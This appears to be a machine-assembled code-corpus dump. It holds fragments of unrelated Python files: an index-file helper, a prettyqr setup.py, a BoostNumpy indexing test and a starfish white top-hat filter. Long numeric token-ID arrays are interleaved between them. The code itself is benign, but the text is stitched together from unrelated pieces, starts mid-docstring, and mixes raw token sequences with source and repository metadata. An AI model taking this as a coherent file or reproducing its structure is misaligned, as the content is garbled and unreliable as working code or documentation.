'index/' in the the index_file names. For example: get_prefix_from_index_file("prefix/index/000000000/000000000010_worker.json") will return prefix :param index_file: str :return: str """ # prefix = prefix/index/000000000/000000000010_worker.json' r = re.compile("(.+)/index/.+$") return re.match(r, index_file).group(1)
[ 1, 396, 10117, 9538, 13, 5215, 2897, 13, 5215, 337, 13, 3166, 25638, 1053, 16417, 29892, 9846, 5696, 13, 13, 29937, 9959, 13, 3166, 869, 21707, 1053, 679, 29918, 21707, 13, 3166, 869, 13239, 1053, 679, 29918, 326, 13847, 29918, 1491, 11851, 3842, 13, 13, 21707, 353, 679, 29918, 21707, 580, 13, 13, 13, 1990, 323, 6073, 6508, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 260, 978, 29892, 4464, 29892, 4464, 29918, 10568, 29892, 1741, 29918, 1445, 29918, 978, 29892, 1369, 29918, 13140, 29892, 3309, 29892, 15645, 1125, 13, 4706, 1583, 29889, 20158, 978, 353, 260, 978, 13, 4706, 1583, 29889, 8513, 353, 4464, 13, 4706, 1583, 29889, 8513, 29918, 10568, 353, 938, 29898, 8513, 29918, 10568, 29897, 13, 4706, 1583, 29889, 3696, 29918, 1445, 29918, 978, 353, 1741, 29918, 1445, 29918, 978, 13, 4706, 1583, 29889, 2962, 29918, 13140, 353, 1369, 29918, 13140, 13, 4706, 1583, 29889, 2848, 353, 3309, 13, 4706, 1583, 29889, 24602, 353, 15645, 13, 13, 1678, 822, 304, 29918, 8977, 29898, 1311, 1125, 13, 4706, 736, 8853, 20158, 978, 1115, 1583, 29889, 20158, 978, 29892, 376, 2962, 29918, 13140, 1115, 1583, 29889, 2962, 29918, 13140, 29892, 376, 2848, 1115, 1583, 29889, 2848, 29913, 13, 13, 13, 1990, 323, 6073, 24111, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1024, 29892, 4464, 29892, 4464, 29918, 10568, 29892, 8267, 29892, 2441, 29918, 978, 29922, 8516, 1125, 13, 4706, 1583, 29889, 978, 353, 1024, 13, 4706, 1583, 29889, 13492, 29918, 978, 353, 2441, 29918, 978, 565, 2441, 29918, 978, 338, 451, 6213, 1683, 1024, 13, 4706, 1583, 29889, 8513, 353, 4464, 13, 4706, 1583, 29889, 8513, 29918, 10568, 353, 4464, 29918, 10568, 13, 4706, 1583, 29889, 12181, 353, 18761, 29898, 12181, 29897, 13, 13, 1678, 822, 304, 29918, 8977, 29898, 1311, 1125, 13, 4706, 736, 8853, 20158, 978, 1115, 1583, 29889, 978, 29892, 376, 13492, 978, 1115, 1583, 29889, 13492, 29918, 978, 29892, 376, 12181, 1115, 1583, 29889, 12181, 29913, 13, 13, 13, 1254, 15488, 29918, 23207, 29918, 19094, 1299, 29911, 4214, 29918, 19433, 353, 376, 29900, 29896, 29906, 29908, 13, 13, 13, 1990, 6864, 2283, 6508, 29898, 19658, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 1125, 13, 4706, 1583, 29889, 10568, 29918, 1949, 353, 938, 29898, 10568, 29918, 1949, 29897, 13, 4706, 1583, 29889, 24602, 29918, 978, 353, 15645, 29918, 978, 13, 4706, 1583, 29889, 1853, 353, 6213, 13, 13, 1678, 822, 679, 29918, 10568, 29918, 1949, 29918, 710, 29898, 1311, 1125, 13, 4706, 736, 851, 29898, 4830, 29898, 1311, 29889, 10568, 29918, 1949, 29892, 317, 4330, 29925, 29918, 23207, 29918, 19094, 1299, 29911, 4214, 29918, 19433, 876, 13, 13, 1678, 822, 679, 29918, 9507, 29898, 1311, 1125, 13, 4706, 4331, 29918, 1949, 29918, 710, 353, 1583, 29889, 657, 29918, 10568, 29918, 1949, 29918, 710, 580, 13, 4706, 1741, 29918, 9507, 353, 285, 29908, 29912, 10568, 29918, 1949, 29918, 710, 3227, 1311, 29889, 24602, 29918, 978, 1836, 29873, 1725, 794, 29879, 29908, 13, 4706, 736, 1741, 29918, 9507, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 1993, 29918, 13087, 29898, 25932, 29892, 269, 1125, 13, 4706, 736, 1067, 29879, 29889, 1359, 29918, 9507, 29898, 29879, 29892, 1596, 29918, 2704, 29922, 8824, 29897, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 2254, 29918, 9507, 29898, 25932, 29892, 269, 29892, 1596, 29918, 2704, 29922, 5574, 1125, 13, 4706, 1741, 29918, 1445, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 29879, 29897, 13, 4706, 286, 353, 337, 29889, 4478, 703, 28104, 20344, 28104, 467, 29873, 1725, 794, 29879, 29938, 613, 1741, 29918, 1445, 29918, 978, 29897, 13, 4706, 565, 286, 29901, 13, 9651, 4331, 29918, 1949, 353, 938, 29898, 29885, 29889, 2972, 29898, 29896, 876, 13, 9651, 15645, 29918, 978, 353, 286, 29889, 2972, 29898, 29906, 29897, 13, 9651, 736, 1067, 29879, 29898, 10568, 29918, 1949, 29922, 10568, 29918, 1949, 29892, 15645, 29918, 978, 29922, 24602, 29918, 978, 29897, 13, 4706, 1683, 29901, 13, 9651, 565, 1596, 29918, 2704, 29901, 13, 18884, 17927, 29889, 2704, 703, 17776, 304, 2254, 321, 1579, 29901, 9162, 269, 29897, 13, 9651, 736, 6213, 13, 13, 1678, 732, 16595, 5696, 13, 1678, 822, 679, 29918, 1445, 29918, 5479, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 13, 1990, 323, 6073, 2283, 6508, 29898, 2624, 2283, 6508, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 10568, 29918, 1949, 29892, 15645, 29918, 978, 29897, 13, 4706, 1583, 29889, 1853, 353, 376, 13604, 29908, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 3972, 29898, 3626, 284, 29918, 3972, 1125, 13, 4706, 736, 2897, 29889, 2084, 29889, 7122, 29898, 3626, 284, 29918, 3972, 29892, 376, 13604, 1159, 13, 13, 1678, 822, 679, 29918, 1445, 29918, 5479, 29898, 1311, 29892, 14260, 29918, 3972, 13776, 1125, 13, 4706, 565, 14260, 29918, 3972, 29901, 13, 9651, 1741, 29918, 1989, 29918, 13506, 353, 1583, 29889, 657, 29918, 3972, 29898, 3626, 284, 29918, 3972, 29897, 13, 4706, 1683, 29901, 13, 9651, 1741, 29918, 1989, 29918, 13506, 353, 1583, 29889, 1853, 13, 4706, 736, 2897, 29889, 2084, 29889, 7122, 29898, 3696, 29918, 1989, 29918, 13506, 29892, 1583, 29889, 657, 29918, 10568, 29918, 1949, 29918, 710, 3285, 1583, 29889, 657, 29918, 9507, 3101, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 679, 29918, 10568, 29918, 3972, 29879, 29898, 25932, 29892, 14260, 29918, 3972, 1125, 13, 4706, 736, 679, 29918, 326, 13847, 29918, 1491, 11851, 3842, 29898, 25932, 29889, 657, 29918, 3972, 29898, 3626, 284, 29918, 3972, 876, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 679, 29918, 10568, 29918, 3972, 29918, 2084, 29898, 25932, 29892, 14260, 29918, 3972, 29892, 4331, 29918, 1949, 1125, 13, 4706, 4331, 29918, 1949, 353, 938, 29898, 10568, 29918, 1949, 29897, 13, 4706, 736, 2897, 29889, 2084, 29889, 7122, 29898, 25932, 29889, 657, 29918, 3972, 29898, 3626, 284, 29918, 3972, 511, 3402, 29898, 10568, 29918, 1949, 29892, 317, 4330, 29925, 29918, 23207, 29918, 19094, 1299, 29911, 4214, 29918, 19433, 876, 13, 13, 13, 1990, 323, 6073, 3377, 2283, 6508, 29898, 2624, 2283, 6508, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 29892, 4464, 29922, 8516, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 10568, 29918, 1949, 29892, 15645, 29918, 978, 29897, 13, 4706, 1583, 29889, 8513, 353, 4464, 13, 4706, 1583, 29889, 1853, 353, 376, 20158, 3377, 29908, 13, 13, 1678, 822, 679, 29918, 1445, 29918, 5479, 29898, 1311, 29892, 2967, 29918, 3972, 13776, 1125, 13, 4706, 396, 746, 2967, 29918, 3972, 338, 4069, 372, 925, 3639, 278, 6198, 934, 2224, 13, 4706, 565, 2967, 29918, 3972, 29901, 13, 9651, 1741, 29918, 1989, 29918, 13506, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3188, 29918, 3972, 29892, 1583, 29889, 8513, 29889, 978, 29897, 13, 4706, 1683, 29901, 13, 9651, 1741, 29918, 1989, 29918, 13506, 353, 2897, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 1853, 29892, 1583, 29889, 8513, 29889, 978, 29897, 13, 13, 4706, 736, 2897, 29889, 2084, 29889, 7122, 29898, 3696, 29918, 1989, 29918, 13506, 29892, 1583, 29889, 657, 29918, 9507, 3101, 13, 13, 13, 1990, 11374, 2283, 6508, 12177, 29901, 13, 1678, 396, 4525, 3168, 526, 3619, 304, 2380, 9591, 322, 2380, 9227, 13, 1678, 18134, 29918, 27992, 29918, 7724, 29918, 13967, 29918, 1177, 29918, 27992, 29918, 15094, 25634, 353, 29871, 29896, 29900, 29900, 29900, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 2248, 29918, 13506, 29918, 1454, 29918, 10568, 29898, 10568, 29918, 1949, 1125, 13, 4706, 2380, 29918, 13506, 29918, 1454, 29918, 10568, 353, 313, 13, 9651, 4331, 29918, 1949, 849, 11374, 2283, 6508, 12177, 29889, 12648, 29918, 27992, 29918, 7724, 29918, 13967, 29918, 1177, 29918, 27992, 29918, 15094, 25634, 13, 4706, 1723, 13, 4706, 736, 3402, 29898, 2248, 29918, 13506, 29918, 1454, 29918, 10568, 29892, 376, 29900, 29929, 1159, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 2446, 29918, 2248, 29918, 13506, 29918, 1454, 29918, 10568, 29898, 10568, 29918, 1949, 1125, 13, 4706, 2380, 29918, 13506, 29918, 1454, 29918, 10568, 353, 313, 13, 9651, 4331, 29918, 1949, 849, 11374, 2283, 6508, 12177, 29889, 12648, 29918, 27992, 29918, 7724, 29918, 13967, 29918, 1177, 29918, 27992, 29918, 15094, 25634, 13, 4706, 1723, 13, 4706, 736, 3402, 29898, 2248, 29918, 13506, 29918, 1454, 29918, 10568, 718, 29871, 29896, 29892, 376, 29900, 29929, 1159, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 903, 657, 29918, 2248, 29918, 1989, 29898, 3626, 284, 29918, 13506, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 1125, 13, 4706, 2380, 29918, 13506, 29918, 1454, 29918, 10568, 29918, 710, 353, 11374, 2283, 6508, 12177, 29889, 657, 29918, 2248, 29918, 13506, 29918, 1454, 29918, 10568, 29898, 10568, 29918, 1949, 29897, 13, 4706, 4331, 29918, 1949, 29918, 710, 353, 3402, 29898, 10568, 29918, 1949, 29892, 376, 29900, 29896, 29906, 1159, 13, 4706, 2380, 29918, 9507, 353, 3402, 29898, 29888, 29908, 29912, 10568, 29918, 1949, 29918, 710, 3227, 24602, 29918, 978, 1836, 3126, 1159, 13, 4706, 2380, 29918, 1989, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3626, 284, 29918, 13506, 29892, 376, 2248, 613, 2380, 29918, 13506, 29918, 1454, 29918, 10568, 29918, 710, 29892, 2380, 29918, 9507, 29897, 13, 4706, 736, 2380, 29918, 1989, 13, 13, 1678, 396, 363, 263, 4331, 29918, 1949, 2380, 2066, 12185, 13, 1678, 396, 297, 10944, 4331, 29918, 1949, 29914, 12648, 29918, 27992, 29918, 7724, 29918, 13967, 29918, 1177, 29918, 27992, 29918, 15094, 25634, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 2248, 29918, 1989, 29918, 1454, 29918, 10568, 29898, 3626, 284, 29918, 13506, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 1125, 13, 4706, 736, 11374, 2283, 6508, 12177, 3032, 657, 29918, 2248, 29918, 1989, 29898, 3626, 284, 29918, 13506, 29892, 4331, 29918, 1949, 29892, 15645, 29918, 978, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 10568, 29918, 3166, 29918, 13140, 29918, 9507, 29898, 2248, 29918, 1445, 29918, 978, 1125, 13, 4706, 474, 353, 2380, 29918, 1445, 29918, 978, 29889, 2886, 703, 29918, 1159, 13, 4706, 413, 353, 2380, 29918, 1445, 29918, 978, 29961, 29875, 718, 29871, 29896, 584, 1822, 2886, 703, 29918, 1159, 13, 4706, 4331, 29918, 1949, 29918, 710, 353, 2380, 29918, 1445, 29918, 978, 29961, 29875, 718, 29871, 29896, 584, 474, 718, 29871, 29896, 718, 413, 29962, 13, 4706, 736, 938, 29898, 10568, 29918, 1949, 29918, 710, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 6088, 29918, 10568, 29918, 3166, 29918, 2248, 29918, 1445, 29918, 978, 29898, 2248, 29918, 1445, 29918, 978, 1125, 13, 4706, 396, 29871, 29896, 29900, 353, 10944, 29914, 2248, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29900, 29918, 24602, 29889, 3126, 29915, 13, 4706, 396, 29871, 29896, 29900, 353, 10944, 29914, 2248, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29900, 29918, 24602, 29918, 29923, 8932, 29889, 3126, 29915, 13, 4706, 2967, 29918, 1445, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 2248, 29918, 1445, 29918, 978, 29897, 13, 4706, 4331, 353, 938, 29898, 3188, 29918, 1445, 29918, 978, 29889, 5451, 703, 29918, 1159, 29961, 29900, 2314, 13, 4706, 736, 4331, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 2248, 29918, 2084, 29898, 2084, 1125, 13, 4706, 736, 2897, 29889, 2084, 29889, 7122, 29898, 2084, 29892, 376, 2248, 1159, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 13506, 29918, 3166, 29918, 2248, 29918, 1445, 29898, 2248, 29918, 1445, 29901, 851, 29897, 1599, 851, 29901, 13, 4706, 9995, 13, 4706, 450, 740, 3639, 278, 934, 2084, 10944, 1434, 525, 2248, 22208, 297, 278, 13, 4706, 278, 2380, 29918, 1445, 2983, 29889, 13, 13, 4706, 1152, 1342, 29901, 13, 9651, 679, 29918, 13506, 29918, 3166, 29918, 2248, 29918, 1445, 703, 13506, 29914, 2248, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29900, 29918, 24602, 29889, 3126, 1159, 13, 13, 9651, 674, 736, 10944, 13, 4706, 584, 3207, 2380, 29918, 1445, 29901, 851, 13, 4706, 584, 2457, 29901, 851, 13, 4706, 9995, 13, 4706, 396, 10944, 353, 10944, 29914, 2248, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29914, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29900, 29918, 24602, 29889, 3126, 29915, 13, 4706, 364, 353, 337, 29889, 12198, 703, 11891, 29974, 6802, 2248, 6294, 24035, 1159, 13, 4706, 736, 337, 29889, 4352, 29898, 29878, 29892, 2380, 29918, 1445, 467, 2972, 29898, 29896, 29897, 13, 2 ]
setup.py
olorin/prettyqr
2
146761
""" prettyqr https://github.com/olorin/prettyqr """ from setuptools import setup, find_packages from codecs import open from os import path here = path.abspath(path.dirname(__file__)) with open(path.join(here, "README.rst"), encoding="utf-8") as f: desc = f.read() setup( name="prettyqr", version="0.0.2", description="Create QR codes merged with images.", long_description=desc, url="https://github.com/olorin/prettyqr", author="<NAME>", author_email="<EMAIL>", license="MIT", classifiers=[ "Development Status :: 3 - Alpha", "Intended Audience :: Developers", "Topic :: Multimedia :: Graphics", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], keywords="qrcode image", packages=find_packages(exclude=["tests"]), install_requires=[ "pillow>=3.2", "qrcode>=5.3", ], entry_points={ "console_scripts": [ "prettyqr=prettyqr.cli:main", ], }, )
[ 1, 9995, 13, 1457, 4349, 29939, 29878, 13, 13, 991, 597, 3292, 29889, 510, 29914, 324, 272, 262, 29914, 1457, 4349, 29939, 29878, 13, 15945, 29908, 13, 13, 3166, 731, 21245, 8789, 1053, 6230, 29892, 1284, 29918, 8318, 13, 3166, 775, 2395, 1053, 1722, 13, 3166, 2897, 1053, 2224, 13, 13, 4150, 353, 2224, 29889, 370, 1028, 493, 29898, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 13, 2541, 1722, 29898, 2084, 29889, 7122, 29898, 4150, 29892, 376, 16310, 2303, 29889, 29878, 303, 4968, 8025, 543, 9420, 29899, 29947, 1159, 408, 285, 29901, 13, 1678, 5153, 353, 285, 29889, 949, 580, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 1457, 4349, 29939, 29878, 613, 13, 1678, 1873, 543, 29900, 29889, 29900, 29889, 29906, 613, 13, 1678, 6139, 543, 4391, 660, 29934, 11561, 19412, 411, 4558, 19602, 13, 1678, 1472, 29918, 8216, 29922, 14273, 29892, 13, 1678, 3142, 543, 991, 597, 3292, 29889, 510, 29914, 324, 272, 262, 29914, 1457, 4349, 29939, 29878, 613, 13, 1678, 4148, 543, 29966, 5813, 28341, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 19405, 543, 26349, 613, 13, 1678, 770, 14903, 11759, 13, 4706, 376, 21956, 358, 16034, 4761, 29871, 29941, 448, 838, 2026, 613, 13, 4706, 376, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 613, 13, 4706, 376, 7031, 293, 4761, 9683, 3393, 4761, 29247, 613, 13, 4706, 376, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 29889, 29953, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 29889, 29955, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29941, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29946, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29945, 613, 13, 1678, 21251, 13, 1678, 29361, 543, 29939, 29878, 401, 1967, 613, 13, 1678, 9741, 29922, 2886, 29918, 8318, 29898, 735, 2325, 29922, 3366, 21150, 3108, 511, 13, 1678, 2601, 29918, 276, 339, 2658, 11759, 13, 4706, 376, 29886, 453, 340, 18572, 29941, 29889, 29906, 613, 13, 4706, 376, 29939, 29878, 401, 18572, 29945, 29889, 29941, 613, 13, 1678, 21251, 13, 1678, 6251, 29918, 9748, 3790, 13, 4706, 376, 11058, 29918, 16713, 1115, 518, 13, 9651, 376, 1457, 4349, 29939, 29878, 29922, 1457, 4349, 29939, 29878, 29889, 11303, 29901, 3396, 613, 13, 4706, 21251, 13, 1678, 2981, 13, 29897, 13, 2 ]
test/indexing_test.py
IceCube-SPNO/BoostNumpy
6
190593
# # $Id$ # # Copyright (C) # 2014 - $Date$ # <NAME> <<EMAIL>> # 2010-2012 # <NAME>, <NAME> # # This file implements tests for indexing functionalities of the # boost::numpy::ndarray class. # # This file is distributed under the Boost Software License, # Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at # http://www.boost.org/LICENSE_1_0.txt). # import indexing_test_module import unittest import numpy as np class TestIndexing(unittest.TestCase): def test_single(self): x = np.arange(0,10) for i in range(0,10): self.assertEqual(indexing_test_module.single(x,i), i) for i in range(-10,0): self.assertEqual(indexing_test_module.single(x,i),10+i) def test_slice(self): x = np.arange(0,10) sl = slice(3,8) v = np.array([3,4,5,6,7]) self.assertTrue((indexing_test_module.slice(x, sl) == v).all()) def test_step_slice(self): x = np.arange(0,10) sl = slice(3,8,2) v = np.array([3,5,7]) self.assertTrue((indexing_test_module.slice(x, sl) == v).all()) def test_index_array(self): x = np.arange(0,10) v = np.array([3,4,5,6]) self.assertTrue((indexing_test_module.index_array(x, v) == v).all()) v = np.array([[0,1],[2,3]]) self.assertTrue((indexing_test_module.index_array(x, v) == v).all()) v = np.array([5,6,7,8,9]) self.assertTrue((indexing_test_module.index_array(x, x>4) == v).all()) def test_index_array_2d(self): x = np.arange(0,9).reshape(3,3) idxarr1 = np.array([0,1]) idxarr2 = np.array([0,2]) v = np.array([0,5]) self.assertTrue((indexing_test_module.index_array_2d(x, idxarr1, idxarr2) == v).all()) def test_index_array_slice(self): x = np.arange(0,9).reshape(3,3) idxarr = np.array([0,2]) sl = slice(1,3) v = np.array([[1,2],[7,8]]) self.assertTrue((indexing_test_module.index_array_slice(x, idxarr, sl) == v).all()) if(__name__ == "__main__"): unittest.main()
[ 1, 396, 13, 29937, 395, 1204, 29938, 13, 29937, 13, 29937, 14187, 1266, 313, 29907, 29897, 13, 29937, 29871, 29906, 29900, 29896, 29946, 448, 395, 2539, 29938, 13, 29937, 268, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 29871, 29906, 29900, 29896, 29900, 29899, 29906, 29900, 29896, 29906, 13, 29937, 268, 529, 5813, 10202, 529, 5813, 29958, 13, 29937, 13, 29937, 910, 934, 10703, 6987, 363, 26190, 13303, 1907, 310, 278, 13, 29937, 14505, 1057, 23749, 1057, 299, 2378, 770, 29889, 13, 29937, 13, 29937, 910, 934, 338, 13235, 1090, 278, 1952, 520, 18540, 19245, 29892, 13, 29937, 10079, 29871, 29896, 29889, 29900, 29889, 313, 13393, 10259, 1384, 292, 934, 365, 2965, 1430, 1660, 29918, 29896, 29918, 29900, 29889, 3945, 470, 3509, 472, 13, 29937, 1732, 597, 1636, 29889, 17079, 29889, 990, 29914, 27888, 1430, 1660, 29918, 29896, 29918, 29900, 29889, 3945, 467, 13, 29937, 13, 5215, 26190, 29918, 1688, 29918, 5453, 13, 5215, 443, 27958, 13, 5215, 12655, 408, 7442, 13, 13, 1990, 4321, 3220, 292, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 13, 1678, 822, 1243, 29918, 14369, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29896, 29900, 29897, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29896, 29900, 1125, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2248, 292, 29918, 1688, 29918, 5453, 29889, 14369, 29898, 29916, 29892, 29875, 511, 474, 29897, 13, 4706, 363, 474, 297, 3464, 6278, 29896, 29900, 29892, 29900, 1125, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2248, 292, 29918, 1688, 29918, 5453, 29889, 14369, 29898, 29916, 29892, 29875, 511, 29896, 29900, 29974, 29875, 29897, 13, 13, 1678, 822, 1243, 29918, 18337, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29896, 29900, 29897, 13, 4706, 2243, 353, 22780, 29898, 29941, 29892, 29947, 29897, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29941, 29892, 29946, 29892, 29945, 29892, 29953, 29892, 29955, 2314, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 18337, 29898, 29916, 29892, 2243, 29897, 1275, 325, 467, 497, 3101, 13, 13, 1678, 822, 1243, 29918, 10568, 29918, 18337, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29896, 29900, 29897, 13, 4706, 2243, 353, 22780, 29898, 29941, 29892, 29947, 29892, 29906, 29897, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29941, 29892, 29945, 29892, 29955, 2314, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 18337, 29898, 29916, 29892, 2243, 29897, 1275, 325, 467, 497, 3101, 13, 13, 1678, 822, 1243, 29918, 2248, 29918, 2378, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29896, 29900, 29897, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29941, 29892, 29946, 29892, 29945, 29892, 29953, 2314, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 2248, 29918, 2378, 29898, 29916, 29892, 325, 29897, 1275, 325, 467, 497, 3101, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29961, 29900, 29892, 29896, 16272, 29906, 29892, 29941, 24960, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 2248, 29918, 2378, 29898, 29916, 29892, 325, 29897, 1275, 325, 467, 497, 3101, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29945, 29892, 29953, 29892, 29955, 29892, 29947, 29892, 29929, 2314, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 2248, 29918, 2378, 29898, 29916, 29892, 921, 29958, 29946, 29897, 1275, 325, 467, 497, 3101, 13, 13, 1678, 822, 1243, 29918, 2248, 29918, 2378, 29918, 29906, 29881, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29929, 467, 690, 14443, 29898, 29941, 29892, 29941, 29897, 13, 4706, 22645, 2749, 29896, 353, 7442, 29889, 2378, 4197, 29900, 29892, 29896, 2314, 13, 4706, 22645, 2749, 29906, 353, 7442, 29889, 2378, 4197, 29900, 29892, 29906, 2314, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29900, 29892, 29945, 2314, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 2248, 29918, 2378, 29918, 29906, 29881, 29898, 29916, 29892, 22645, 2749, 29896, 29892, 22645, 2749, 29906, 29897, 1275, 325, 467, 497, 3101, 13, 13, 1678, 822, 1243, 29918, 2248, 29918, 2378, 29918, 18337, 29898, 1311, 1125, 13, 4706, 921, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29929, 467, 690, 14443, 29898, 29941, 29892, 29941, 29897, 13, 4706, 22645, 2749, 353, 7442, 29889, 2378, 4197, 29900, 29892, 29906, 2314, 13, 4706, 2243, 353, 22780, 29898, 29896, 29892, 29941, 29897, 13, 4706, 325, 353, 7442, 29889, 2378, 4197, 29961, 29896, 29892, 29906, 16272, 29955, 29892, 29947, 24960, 13, 4706, 1583, 29889, 9294, 5574, 3552, 2248, 292, 29918, 1688, 29918, 5453, 29889, 2248, 29918, 2378, 29918, 18337, 29898, 29916, 29892, 22645, 2749, 29892, 2243, 29897, 1275, 325, 467, 497, 3101, 13, 13, 361, 22168, 978, 1649, 1275, 376, 1649, 3396, 1649, 29908, 1125, 13, 1678, 443, 27958, 29889, 3396, 580, 2 ]
starfish/pipeline/filter/white_tophat.py
joshmoore/starfish
0
38144
import numpy as np from ._base import FilterAlgorithmBase class WhiteTophat(FilterAlgorithmBase): """ Performs "white top hat" filtering of an image to enhance spots. "White top hat filtering" finds spots that are both smaller and brighter than their surroundings. See Also -------- https://en.wikipedia.org/wiki/Top-hat_transform """ def __init__(self, disk_size, **kwargs): """Instance of a white top hat morphological masking filter which masks objects larger than `disk_size` Parameters ---------- disk_size : int diameter of the morphological masking disk in pixels """ self.disk_size = disk_size @classmethod def add_arguments(cls, group_parser): group_parser.add_argument( "--disk-size", default=15, type=int, help="diameter of morphological masking disk in pixels") def filter(self, stack) -> None: """Perform in-place filtering of an image stack and all contained aux images Parameters ---------- stack : starfish.Stack Stack to be filtered """ from scipy.ndimage.filters import maximum_filter, minimum_filter from skimage.morphology import disk def white_tophat(image): if image.dtype.kind != "u": raise TypeError("images should be stored in an unsigned integer array") structuring_element = disk(self.disk_size) min_filtered = minimum_filter(image, footprint=structuring_element) max_filtered = maximum_filter(min_filtered, footprint=structuring_element) filtered_image = image - np.minimum(image, max_filtered) return filtered_image stack.image.apply(white_tophat) # apply to aux dict too. for auxiliary_image in stack.auxiliary_images.values(): auxiliary_image.apply(white_tophat)
